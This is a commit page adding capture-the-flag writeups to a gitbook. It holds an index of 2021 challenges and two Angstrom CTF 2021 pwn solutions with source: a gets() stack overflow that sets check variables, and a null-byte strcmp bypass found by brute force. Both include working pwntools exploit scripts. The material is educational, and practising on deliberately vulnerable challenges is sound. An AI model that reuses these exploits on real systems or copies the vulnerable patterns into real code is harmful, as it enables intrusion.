Skip to content

Commit c82a68f

Browse files
committed
Added all CTF writeups to gitbook (2021-2024)
0 parents  commit c82a68f

File tree

292 files changed

+25459
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

292 files changed

+25459
-0
lines changed

2021/README.md

+85
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
## Pico
2+
3+
- [Pwn: Unsubscriptions Are Free](pico_21/pwn/unsubscriptions_are_free/unsubscriptions_are_free.md)
4+
5+
## Crusaders of Rust (COR)
6+
7+
- [Crypto: Fibinary](cor_21/crypto/fibinary/fibinary.md)
8+
- [Pwn: Chainblock](cor_21/pwn/chainblock/chainblock.md)
9+
10+
## HTB Cyber Santa
11+
12+
- [Crypto: Meet Me Halfway](htb_cyber_santa_21/crypto/meet_me_halfway/meet_me_halfway.md)
13+
- [Crypto: Xmas Spirit](htb_cyber_santa_21/crypto/xmas_spirit/xmas_spirit.md)
14+
- [Pwn: Minimelfistic](htb_cyber_santa_21/pwn/minimelfistic/minimelfistic.md)
15+
- [Pwn: Mr. Snowy](htb_cyber_santa_21/pwn/mr_snowy/mr_snowy.md)
16+
- [Pwn: Naughty List](htb_cyber_santa_21/pwn/naughty_list/naughty_list.md)
17+
- [Pwn: Sleigh](htb_cyber_santa_21/pwn/sleigh/sleigh.md)
18+
- [Rev: Infiltration](htb_cyber_santa_21/rev/infiltration/infiltration.md)
19+
- [Rev: Intercept](htb_cyber_santa_21/rev/intercept/intercept.md)
20+
21+
## K3rn3l
22+
23+
- [Crypto: Badseed](k3rn3l_21/crypto/badseed/badseed.md)
24+
- [Crypto: Twizzty Buzzinezz](k3rn3l_21/crypto/twizzty_buzzinezz/twizzty_buzzinezz.md)
25+
26+
## HTB x Synack RedTeamFive
27+
28+
- [Misc: Context](htb_synack_redteamfive_21/misc/context/context.md)
29+
- [Misc: Hotel](htb_synack_redteamfive_21/misc/hotel/hotel.md)
30+
- [Pwn: Air Supplies](htb_synack_redteamfive_21/pwn/air_supplies/air_supplies.md)
31+
- [Pwn: Injection Shot](htb_synack_redteamfive_21/pwn/injection_shot/injection_shot.md)
32+
- [Pwn: Library](htb_synack_redteamfive_21/pwn/library/library.md)
33+
- [Pwn: Recruitment](htb_synack_redteamfive_21/pwn/recruitment/recruitment.md)
34+
- [Rev: Knock Knock](htb_synack_redteamfive_21/rev/knock_knock/knock_knock.md)
35+
- [Rev: Split](htb_synack_redteamfive_21/rev/split/split.md)
36+
37+
## KillerQueen
38+
39+
- [Pwn: A Kind of Magic](killerqueen_21/pwn/a_kind_of_magic/a_kind_of_magic.md)
40+
- [Pwn: Tweety Birb](killerqueen_21/pwn/tweety_birb/tweety_birb.md)
41+
- [Pwn: Zoom2Win](killerqueen_21/pwn/zoom2win/zoom2win.md)
42+
43+
## HacktivityCon
44+
45+
- [Pwn: Retcheck](hacktivitycon_21/pwn/retcheck/retcheck.md)
46+
- [Pwn: The Library](hacktivitycon_21/pwn/the_library/the_library.md)
47+
- [Pwn: Yabo](hacktivitycon_21/pwn/yabo/yabo.md)
48+
- [Web: Availability](hacktivitycon_21/web/availability/availability.md)
49+
50+
## CSAW
51+
52+
- [Pwn: Alien Math](csaw_21/pwn/alien_math/alien_math.md)
53+
- [Pwn: Password Checker](csaw_21/pwn/password_checker/password_checker.md)
54+
- [Rev: Checker](csaw_21/rev/checker/checker.md)
55+
56+
## HackyHolidays
57+
58+
- [Crypto: Cute Invoice](hackyholidays_21/crypto/cute_invoice/cute_invoice.md)
59+
- [Crypto: Mineslazer](hackyholidays_21/crypto/mineslazer/mineslazer.md)
60+
- [Forensics: Injection Traffic](hackyholidays_21/forensics/injection_traffic/injection_traffic.md)
61+
- [Forensics: Power Snacks](hackyholidays_21/forensics/power_snacks/power_snacks.md)
62+
- [Pwn: Deleted Flag](hackyholidays_21/pwn/deleted_flag/deleted_flag.md)
63+
- [Pwn: Engine Control](hackyholidays_21/pwn/engine_control/engine_control.md)
64+
- [Web: Skylark](hackyholidays_21/web/skylark/skylark.md)
65+
66+
## HTB Cyber Apocalypse
67+
68+
- [Crypto: Phasestream](cyber_apocalypse_21/crypto/phasestream/phasestream.md)
69+
- [Misc: Alien Camp](cyber_apocalypse_21/misc/alien_camp/alien_camp.md)
70+
- [Misc: Build Yourself In](cyber_apocalypse_21/misc/build_yourself_in/build_yourself_in.md)
71+
- [Pwn: Controller](cyber_apocalypse_21/pwn/controller/controller.md)
72+
- [Pwn: System Drop](cyber_apocalypse_21/pwn/system_drop/system_drop.md)
73+
- [Web: Blitzprop](cyber_apocalypse_21/web/blitzprop/blitzprop.md)
74+
- [Web: E-Tree](cyber_apocalypse_21/web/e_tree/e_tree.md)
75+
- [Web: Wild Goose Hunt](cyber_apocalypse_21/web/wild_goose_hunt/wild_goose_hunt.md)
76+
77+
## Angstrom
78+
79+
- [Pwn: Sanity Checks](angstrom_21/pwn/sanity_checks/sanity_checks.md)
80+
- [Pwn: Secure Login](angstrom_21/pwn/secure_login/secure_login.md)
81+
- [Pwn: Sticky Stacks](angstrom_21/pwn/stickystacks/sticky_stacks.md)
82+
- [Pwn: Tranquil](angstrom_21/pwn/tranquil/tranquil.md)
83+
- [Rev: Free Flags](angstrom_21/rev/free_flags/free_flags.md)
84+
- [Rev: Jailbreak](angstrom_21/rev/jailbreak/jailbreak.md)
85+
- [Web: Jar](angstrom_21/web/jar/jar.md)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
---
2+
name: Sanity Checks (2021)
3+
event: Angstrom CTF 2021
4+
category: Pwn
5+
description: Writeup for Sanity Checks (pwn) - Angstrom CTF (2021) 💜
6+
layout:
7+
title:
8+
visible: true
9+
description:
10+
visible: true
11+
tableOfContents:
12+
visible: true
13+
outline:
14+
visible: true
15+
pagination:
16+
visible: true
17+
---
18+
19+
# Sanity Checks
20+
21+
## Video Walkthrough
22+
23+
[![VIDEO](https://img.youtube.com/vi/2pqG6opzrug/0.jpg)](https://youtu.be/2pqG6opzrug?t=1135s "Angstrom 2021: Sanity Checks")
24+
25+
## Challenge Description
26+
27+
> I made a program (source) to protect my flag. On the off chance someone does get in, I added some sanity checks to detect if something fishy is going on.
28+
29+
## Source
30+
31+
{% code overflow="wrap" %}
32+
```c
33+
#include <stdio.h>
34+
#include <stdlib.h>
35+
#include <string.h>
36+
37+
void main(){
38+
setbuf(stdout, NULL);
39+
setbuf(stderr, NULL);
40+
41+
char password[64];
42+
int ways_to_leave_your_lover = 0;
43+
int what_i_cant_drive = 0;
44+
int when_im_walking_out_on_center_circle = 0;
45+
int which_highway_to_take_my_telephones_to = 0;
46+
int when_i_learned_the_truth = 0;
47+
48+
printf("Enter the secret word: ");
49+
50+
gets(&password);
51+
52+
if(strcmp(password, "password123") == 0){
53+
puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
54+
if (ways_to_leave_your_lover == 50) {
55+
if (what_i_cant_drive == 55) {
56+
if (when_im_walking_out_on_center_circle == 245) {
57+
if (which_highway_to_take_my_telephones_to == 61) {
58+
if (when_i_learned_the_truth == 17) {
59+
char flag[128];
60+
61+
FILE *f = fopen("flag.txt","r");
62+
63+
if (!f) {
64+
printf("Missing flag.txt. Contact an admin if you see this on remote.");
65+
exit(1);
66+
}
67+
68+
fgets(flag, 128, f);
69+
70+
printf(flag);
71+
return;
72+
}
73+
}
74+
}
75+
}
76+
}
77+
puts("Nope, something seems off.");
78+
} else {
79+
puts("Login failed!");
80+
}
81+
}
82+
```
83+
{% endcode %}
84+
85+
## Solution
86+
87+
{% code overflow="wrap" %}
88+
```py
89+
from pwn import *
90+
91+
def start(argv=[], *a, **kw):
92+
if args.GDB: # Set GDBscript below
93+
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
94+
elif args.REMOTE: # ('server', 'port')
95+
return remote(sys.argv[1], sys.argv[2], *a, **kw)
96+
else: # Run locally
97+
return process([exe] + argv, *a, **kw)
98+
99+
def find_ip(payload):
100+
# Launch process and send payload
101+
p = process(exe)
102+
p.sendlineafter(':', payload)
103+
# Wait for the process to crash
104+
p.wait()
105+
# Print out the address of EIP/RIP at the time of crashing
106+
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
107+
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
108+
return ip_offset
109+
110+
# Specify your GDB script here for debugging
111+
gdbscript = '''
112+
init-pwndbg
113+
break *0x401235
114+
break *0x40123f
115+
continue
116+
'''.format(**locals())
117+
118+
# Set up pwntools for the correct architecture
119+
exe = './checks'
120+
# This will automatically get context arch, bits, os etc
121+
elf = context.binary = ELF(exe, checksec=False)
122+
# Enable verbose logging so we can see exactly what is being sent (info/debug)
123+
context.log_level = 'debug'
124+
125+
# ===========================================================
126+
# EXPLOIT GOES HERE
127+
# ===========================================================
128+
129+
password = b"password123\x00"
130+
131+
# Pass in pattern_size, get back EIP/RIP offset
132+
offset = find_ip(password + cyclic(100))
133+
offset -= len(password)
134+
135+
# Start program
136+
io = start()
137+
138+
# Build the payload
139+
payload = flat([
140+
password,
141+
(offset - 16) * asm('nop'),
142+
p32(0x11),
143+
p32(0x3d),
144+
p32(0xf5),
145+
p32(0x37),
146+
p32(0x32),
147+
])
148+
149+
# Save the payload to file
150+
write('payload', payload)
151+
152+
# Send the payload
153+
io.sendlineafter(':', payload)
154+
io.recvline()
155+
156+
# Get our flag!
157+
flag = io.recv()
158+
success(flag)
159+
```
160+
{% endcode %}
161+
162+
Flag: `actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}`
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
---
2+
name: Secure Login (2021)
3+
event: Angstrom CTF 2021
4+
category: Pwn
5+
description: Writeup for Secure Login (pwn) - Angstrom CTF (2021) 💜
6+
layout:
7+
title:
8+
visible: true
9+
description:
10+
visible: true
11+
tableOfContents:
12+
visible: true
13+
outline:
14+
visible: true
15+
pagination:
16+
visible: true
17+
---
18+
19+
# Secure Login
20+
21+
## Video Walkthrough
22+
23+
[![VIDEO](https://img.youtube.com/vi/2pqG6opzrug/0.jpg)](https://youtu.be/2pqG6opzrug?t=23s "Angstrom 2021: Secure Login")
24+
25+
## Challenge Description
26+
27+
> My login is, potentially, and I don't say this lightly, if you know me you know that's the truth, it's truly, and no this isn't snake oil, this is, no joke, the most secure login service in the world (source).
28+
29+
## Source
30+
31+
{% code overflow="wrap" %}
32+
```c
33+
#include <stdio.h>
34+
35+
char password[128];
36+
37+
void generate_password() {
38+
FILE *file = fopen("/dev/urandom","r");
39+
fgets(password, 128, file);
40+
fclose(file);
41+
}
42+
43+
void main() {
44+
puts("Welcome to my ultra secure login service!");
45+
46+
// no way they can guess my password if it's random!
47+
generate_password();
48+
49+
char input[128];
50+
printf("Enter the password: ");
51+
fgets(input, 128, stdin);
52+
53+
if (strcmp(input, password) == 0) {
54+
char flag[128];
55+
56+
FILE *file = fopen("flag.txt","r");
57+
if (!file) {
58+
puts("Error: missing flag.txt.");
59+
exit(1);
60+
}
61+
62+
fgets(flag, 128, file);
63+
puts(flag);
64+
} else {
65+
puts("Wrong!");
66+
}
67+
}
68+
```
69+
{% endcode %}
70+
71+
## Solution
72+
73+
{% code overflow="wrap" %}
74+
```py
75+
from pwn import *
76+
77+
def start(argv=[], *a, **kw):
78+
if args.GDB: # Set GDBscript below
79+
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
80+
elif args.REMOTE: # ('server', 'port')
81+
return remote(sys.argv[1], sys.argv[2], *a, **kw)
82+
else: # Run locally
83+
return process([exe] + argv, *a, **kw)
84+
85+
# Specify your GDB script here for debugging
86+
gdbscript = '''
87+
init-pwndbg
88+
continue
89+
'''.format(**locals())
90+
91+
# Set up pwntools for the correct architecture
92+
exe = './login'
93+
# This will automatically get context arch, bits, os etc
94+
elf = context.binary = ELF(exe, checksec=False)
95+
# Enable verbose logging so we can see exactly what is being sent (info/debug)
96+
context.log_level = 'warn'
97+
98+
# ===========================================================
99+
# EXPLOIT GOES HERE
100+
# ===========================================================
101+
102+
# Run program 1000 times (hoping for null byte)
103+
for i in range(1000):
104+
io = start()
105+
io.recv()
106+
# Try to login with null byte
107+
io.sendline(b"\x00")
108+
io.recvuntil(': ')
109+
response = io.recv()
110+
# Did we get the flag?
111+
if(not b'Wrong!' in response):
112+
print(response)
113+
io.close()
114+
```
115+
{% endcode %}
116+
117+
Flag: `actf{if_youre_reading_this_ive_been_hacked}`

0 commit comments

Comments
 (0)